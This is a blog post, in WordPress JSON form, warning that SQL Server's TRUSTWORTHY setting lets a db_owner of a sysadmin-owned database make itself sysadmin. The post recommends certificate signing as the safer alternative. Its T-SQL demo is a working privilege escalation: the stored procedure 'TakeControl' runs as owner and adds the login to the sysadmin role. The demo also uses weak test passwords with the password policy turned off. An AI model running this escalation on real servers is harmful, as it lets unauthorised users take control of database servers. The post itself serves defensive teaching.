{"id":68145,"date":"2016-09-16T08:45:06","date_gmt":"2016-09-16T08:45:06","guid":{"rendered":"https:\/\/www.simple-talk.com\/?p=68145"},"modified":"2016-09-16T08:45:06","modified_gmt":"2016-09-16T08:45:06","slug":"careful-trustworthy-setting","status":"publish","type":"post","link":"https:\/\/www.red-gate.com\/simple-talk\/blogs\/careful-trustworthy-setting\/","title":{"rendered":"Careful With Trustworthy Setting"},"content":{"rendered":"

Trustworthy database setting is an easy solution for some problems in the server, especially cross database access. However, this setting has also a security problem in some scenarios.<\/p>\n

The scenario that has a security break is the following:<\/p>\n

    \n
  1. One or more databases are owned by a user with \u2018sysadmin\u2019 rights. If the databases were created by a \u2018sysadmin\u2019 and the owner didn’t change after that this will happen<\/li>\n
  2. Some logins that aren’t \u2018sysadmin\u2019 were included in \u2018db_owner\u2019 database role of some databases, but not all.<\/li>\n
  3. The trustworthy setting is enabled for these databases, owned by \u2018sysadmin\u2019 and with one or more logins in \u2018db_owner\u2019 database role.<\/li>\n<\/ol>\n

    The security break:<\/strong> The users in \u2018db_owner\u2019 database role can include themselves in System Administrators server role and take control of the server.<\/p>\n

    Let’s see an example.<\/p>\n

    Create login sAdmin with password='Pa$$w0rd', check_policy=OFF\r\ngo\r\n\r\nalter server role sysadmin \r\nadd member sAdmin\r\ngo\r\n\r\nexecute as login='sAdmin'      -- A sysadmin creates the database and becomes the owner\r\n\r\ncreate database MyDatabase\r\n\r\nrevert\r\n\r\nCreate login dbAdmin with password='Pa$$w0rd', -- This user isn't a sysadmin\r\n check_policy=OFF\r\ngo\r\n\r\nuse MyDatabase\r\ngo\r\n\r\ncreate user usAdmin for login dbAdmin\r\ngo\r\nAlter role db_owner\t\t\t-- dbAdmin is in database role db_owner\r\nadd member usAdmin\r\ngo\r\n\r\nalter database MyDatabase set\t\t-- Trustworthy setting is enabled in this database\r\n\ttrustworthy on\r\n\r\nexecute as login='dbAdmin'            -- The security break\r\ngo\r\n\r\ncreate procedure TakeControl\r\nwith execute as owner        -- This will run as sysadmin, but only if trustworthy is enabled\r\nas\r\nalter server role sysadmin \r\nadd member dbAdmin\r\ngo\r\n\r\nexec TakeControl\r\n\r\nselect is_srvrolemember('sysadmin','dbadmin') -- now the login is a sysadmin\r\n\r\nrevert\r\n\r\n-- Cleaning the demo environment\r\nuse master\r\ngo\r\ndrop database MyDatabase\r\ndrop login sAdmin\r\ndrop login dbAdmin<\/pre>\n
    Unless you are completely sure this security break will not be a problem for your environment, you shouldn’t enable trustworthy. Instead enabling trustworthy you can use certificates to sign modules such as stored procedures and achieve the same result with more security.<\/p>\n","protected":false},"excerpt":{"rendered":"
    Trustworthy database setting is an easy solution for some problems in the server, especially cross database access. However, this setting has also a security problem in some scenarios. The scenario that has a security break is the following: One or more databases are owned by a user with \u2018sysadmin\u2019 rights. If the databases were created……<\/p>\n","protected":false},"author":50808,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[2],"tags":[26338],"coauthors":[6810],"class_list":["post-68145","post","type-post","status-publish","format-standard","hentry","category-blogs","tag-trustworthy-setting"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/68145","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/users\/50808"}],"replies":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/comments?post=68145"}],"version-history":[{"count":2,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/68145\/revisions"}],"predecessor-version":[{"id":68147,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/68145\/revisions\/68147"}],"wp:attachment":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media?parent=68145"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/categories?post=68145"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/tags?post=68145"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/coauthors?post=68145"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}